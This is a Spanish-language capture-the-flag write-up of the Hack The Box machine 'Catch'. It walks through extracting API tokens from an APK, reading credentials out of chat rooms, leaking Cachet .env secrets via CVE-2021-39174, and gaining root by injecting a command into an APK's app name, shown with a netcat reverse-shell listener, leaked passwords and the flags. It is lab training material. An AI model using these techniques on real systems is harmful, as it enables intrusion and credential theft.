Catch presenta un APK que contiene Tokens de autenticación lo que nos permitió acceder a Lets Chat, en este último encontramos credenciales. Una vulnerabilidad en Catch permite filtrar las variables de configuración, tras la explotación obtuvimos nuevas credenciales y acceso por SSH. Finalmente escalamos privilegios realizando Command Injection en el nombre de una aplicación de un APK.
# Nmap 7.92 scan initiated Sat Mar 12 21:53:05 2022 as: nmap -p22,80,3000,5000,8000 -sV -sC -oN nmap_scan 10.10.11.150Nmap scan report for 10.10.11.150
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)|256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain;charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html;charset=UTF-8
| Set-Cookie: i_like_gitea=8da9befe09c1de50;Path=/; HttpOnly
| Set-Cookie: _csrf=kkQpkmsvK4ttR_jHjOq9U9aeGZo6MTY0NzEzOTk5MTcwODg3MTU1NA;Path=/;Expires=Mon, 14 Mar 2022 02:53:11 GMT; HttpOnly;SameSite=Lax
| Set-Cookie: macaron_flash=;Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 13 Mar 2022 02:53:11 GMT
| <!DOCTYPE html>
| <html lang="en-US"class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport"content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible"content="ie=edge">
| <title> Catch Repositories </title>
| <link rel="manifest"href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=6b2f273aca25d51f; Path=/; HttpOnly
| Set-Cookie: _csrf=UPxe8n-XDdMZ0kAyBraVoF3m_YA6MTY0NzEzOTk5ODA1NTA1NDExNA; Path=/; Expires=Mon, 14 Mar 2022 02:53:18 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 13 Mar 2022 02:53:18 GMT
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Location: /login
| Vary: Accept, Accept-Encoding
| Content-Type: text/plain; charset=utf-8
| Content-Length: 28
| Set-Cookie: connect.sid=s%3AlNVpQL1WsY7o7wjMwLTDCWvDgGy06dF4.sc5L2Y3KLNYlCrY%2BgkIYKzqajxyPvTaXxCpDDc5HvpM; Path=/; HttpOnly
| Date: Sun, 13 Mar 2022 02:53:16 GMT
| Connection: close
| Found. Redirecting to /login
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Set-Cookie: connect.sid=s%3AMUO7oTw60AcH91PKbLM2UBt3LYJ7Vh_E.MZzoCA%2BVW53txUUmyxM2Q1ROasfXVz8QDoD4hNj6FJw; Path=/; HttpOnly
| Vary: Accept-Encoding
| Date: Sun, 13 Mar 2022 02:53:19 GMT
| Connection: close
|_ GET,HEAD
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
[.. snip ..]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 12 21:55:00 2022 -- 1 IP address (1 host up) scanned in 114.50 seconds
Web Site
Vemos que muestra un sitio estatico en el puerto 80, además expone un archivo .apk.
Gitea
En el puerto 3000 encontramos Gitea en su versión 1.14.1, la versión vulnerable más cercana es 1.12.5.
Únicamente encontramos al usuario root y ningun repositorio público activo.
Lets Chat
Por el puerto 5000 vemos un formulario para Lets Chat, tras investigar un poco encontramos el Repositorio de Github de esta aplicación, no presenta alguna vulnerabilidad hasta la fecha.
Cachet
Finalmente en el puerto 8000 encontramos Cachet, un post expone distintas vulnerabilidades aunque es necesaria la autenticación para explotarlas.
Catch App
Anteriormente se mencinó un apk, utilizando jadx en su version gráfica, observamos en el MainActivity un WebView para el sitio web https://status.catch.htb, agregamos el dominio y subdominio al archivo /etc/hosts.
Tras explorar las strings del apk encontramos dos tokens: gitea y lets chat.
Al instalar y ejecutar esta aplicación, vemos que, unicamente realiza la visita del sitio https://status.catch.htb como se muestra en el MainActivity, sin embargo no obtuvimos una respuesta por parte de la máquina.
Gitea
Utilizamos el token encontrado en la API “interactiva” de Gitea.
Tras enumerar los distintos usuarios e información de configuración, no encontramos suficiente información para acceder por Gitea.
Lets Chat
Segun la Documentación de Lets Chat menciona que es posible utilizar un token como nombre de usuario para autenticación dejando en blanco la contraseña, sin embargo la applicación no lo permite.
Utilizando las diferentes rutas descritas en la Documentación creamos un pequeño script para obtener la mayor información posible con el token encontrado.
Inicialmente observamos los detalles de la cuenta del token, en este caso al usuario admin, vemos que existen tres salas y cuatro usuarios, observamos la conversación de cada sala, en una de estas encontramos credenciales aunque no menciona a que aplicación o servicio pertenece.
π ~/htb/catch ❯ python3 lets-chat.py
Account Details
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Detail ┃ Info. ┃
┡━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ First Name │ Administrator │
│ Last Name │ NA │
│ Username │ admin │
│ Rooms │ Status, Employees, Android Development │
└────────────┴────────────────────────────────────────┘
Server Details
┏━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Detail ┃ ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ Rooms │ Status, Android Development, Employees │
│ Users │ admin, john, will, lucas │
│ Files │ │
└────────┴────────────────────────────────────────┘
─────────────────────────────────────────────────────────────────────────── Rooms ───────────────────────────────────────────────────────────────────────────
╭────────╮ ╭─────────────────────╮ ╭───────────╮
│ Status │ │ Android Development │ │ Employees │
╰────────╯ ╰─────────────────────╯ ╰───────────╯
─────────────────────────────────────────────────────────────────────── Room: Status ────────────────────────────────────────────────────────────────────────
john: ah sure!
admin: You should actually include this task to your list as well as a part of quarterly audit
john: Also make sure we've our systems, applications and databases up-to-date.
admin: Excellent!
john: Why not. We've this in our todo list for next quarter
admin: @john is it possible to add SSL to our status domain to make sure everything is secure ?
lucas: Here are the credentials `john : E}V!mywu_69T4C}W` lucas: Sure one sec.
john: Can you create an account for me ?
lucas: Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me.
───────────────────────────────────────────────────────────────── Room: Android Development ─────────────────────────────────────────────────────────────────
admin: Hey Team, Just heads up that we're working on android app to alert our customers about status of the services.
────────────────────────────────────────────────────────────────────── Room: Employees ──────────────────────────────────────────────────────────────────────
lucas: Thanks @admin
admin: Please welcome our new IT Admin - Lucas, a crucial role that will help Catch’s revenue and will contribute to the overall profitability of the
company!
will: Thanks John! Glad to be part of the Catch
john: Welcome Will!
admin: Join me in welcoming our new employee Will Robinson who's working as iOS Developer with John Team
π ~/htb/catch ❯
Cachet - Configuration Leak
Las credenciales encontradas nos permitieron el acceso al dashboard de Cachet.
CVE-2021-39174
Anteriormente se mencionó un post con multiples vulnerabilidades en cachet.
Se explica que es posible filtrar la configuración de Cachet del archivo .env utilizando ${} con el nombre de la variable declarada, es decir ${VARIABLE}, tal y como se muestra en el ejemplo de Nesting Variables. Además se menciona que al obtener el valor de APP_KEY nos puede permitir ejecutar comandos (RCE) aunque es necesario que el SESSION_DRIVER esté configurado con valor de cookie.
Intentamos obtener el valor de las variables, encontramos que en Mail Address se muestran los valores, vemos el valor de APP_KEY.
Exploit
Creamos un pequeño script para obtener la configuración de ciertas variables que tomamos de .env.example las cuales contienen credenciales, tomando en cuenta el formulario que se explica en el Anexo, además, nuestro script permite configurar las variables Redis para el CVE-2021-39172.
π ~/htb/catch ❯ ssh will@catch.htb # s2#4Fg0_%3!will@catch.htb's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 20 Apr 2022 01:30:29 AM UTC
System load: 0.12
Usage of /: 72.9% of 16.61GB
Memory usage: 77%
Swap usage: 60%
Processes: 449 Users logged in: 0 IPv4 address for br-535b7cf3a728: 172.18.0.1
IPv4 address for br-fe1b5695b604: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.150
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Apr 19 22:50:29 2022 from 10.10.14.207
will@catch:~$ pwd;whoami;id
/home/will
will
uid=1000(will)gid=1000(will)groups=1000(will)will@catch:~$ ls
user.txt
will@catch:~$ cat user.txt
b0d4a3d2c6c5b062b301b0796fe675c7
will@catch:~$
Privesc
Tras la ejecución de pspy descubrimos un cronjob el cual ejecuta el script verify.sh.
Tras analizar el script encontramos que es posible realizar ‘Command Injection’ en la función app_check(). Inicialmente se obtiene el valor de la string app_name, verifica que este tenga el valor *Catch*, en tal caso utiliza app_name para crear un directorio, en este ultimo paso es posible inyectar un comando modificando el valor app_name en strings.xml.
Para Injectar Comandos es necesario decompilar, modificar y compilar un apk, para ello utilizamos el apk que inicialmente encontramos: catchv1.0.apk. Creamos un script que nos permite crear el apk y enviar este al directorio de la máquina.
Inicialmente se instalan las herramientas necesarias: zipalign, apktool jarsigner. Aunque alguna de estas ya viene por defecto en Kali.
Se decompila el apk en este caso utilizamos catchv1.0.apk.
Se modifica el archivo strings.xml.
Con el archivo strings.xml modificado el script:
Compila el apk con el archivo strings.xml modificado.
Genera una key para firmar el apk compilado.
Se eliminan los apks anteriormente generados, ya que es necesario realizar distintas pruebas.
Se compila el nuevo apk, se firma y optimiza para finalmente ser enviado a la maquina.
π ~/htb/catch/app ❯ ./modify.sh
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=trueDestination directory (/home/kali/htb/catch/app/catchv1.0) already exists. Use -f switch if you want to overwrite it.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=trueI: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=truejar signed.
Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
Verifying alignment of catch_signed.apk (4)...
50 META-INF/MANIFEST.MF (OK - compressed)20453 META-INF/CATCH.SF (OK - compressed)[.. snip ..]418036 resources.arsc (OK)1115381 classes.dex (OK - compressed)Verification successful
Copying apk to Catch.htb ...
Check apk in apk_bin/
total 2.7M
drwxrwx--x+ 2 root root 4.0K Apr 20 03:37 .
drwxr-x--x+ 3 root root 4.0K Mar 3 14:23 ..
-rw-r--r-- 1 will will 2.7M Apr 20 03:37 catch_signed.apk
Connection to catch.htb closed.
π ~/htb/catch/app ❯
Después de unos segundos obtuvimos un ping desde la máquina.
1
2
3
4
5
6
7
π ~/htb/catch ❯ sudo tcpdump -i tun1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun1, link-type RAW (Raw IP), snapshot length 262144 bytes
23:37:14.007382 IP catch.htb > 10.10.14.207: ICMP echo request, id 4, seq 1, length 6423:37:14.007398 IP 10.10.14.207 > catch.htb: ICMP echo reply, id 4, seq 1, length 6423:37:15.008580 IP catch.htb > 10.10.14.207: ICMP echo request, id 4, seq 2, length 6423:37:15.008619 IP 10.10.14.207 > catch.htb: ICMP echo reply, id 4, seq 2, length 64
Ejecutamos shells, modificamos el archivo strings.xml de tal forma que nos ejecute una shell inversa.
Luego de ejecutar el script logramos obtener una shell como root y nuestra flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
π ~/htb/catch ❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.207] from catch.htb [10.10.11.150]37512can't access tty; job control turned off
# which python
# which python3
/usr/bin/python3
# python3 -c 'import pty;pty.spawn("/bin/bash");'root@catch:~# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
root@catch:~# ls
Catch index.html lets-chat mdm reset.sh root.txt run.sh
root@catch:~# cat root.txt
57edb41f6f12cae3f62e1392e71e79e1
root@catch:~#
Anexo - CVE
CVE-2021-39172
La explotación del CVE-2021-39172 RCE parece no funcionar por varios motivos, uno de ellos es un cronjob (reset.sh) el cual reemplaza el archivo .env de cada contenedor, lo que hace que la configuración cambie a su estado inicial.
En el post se menciona que no hay ningun tipo de validación y al enviar un valor con saltos de lineas se crearían nuevas variables de configuración las cuales reemplazarian a las siguientes. Sin embargo parece ser posible editar las variables existentes utilizando el formulario de configuración, sin utilizar los saltos de linea.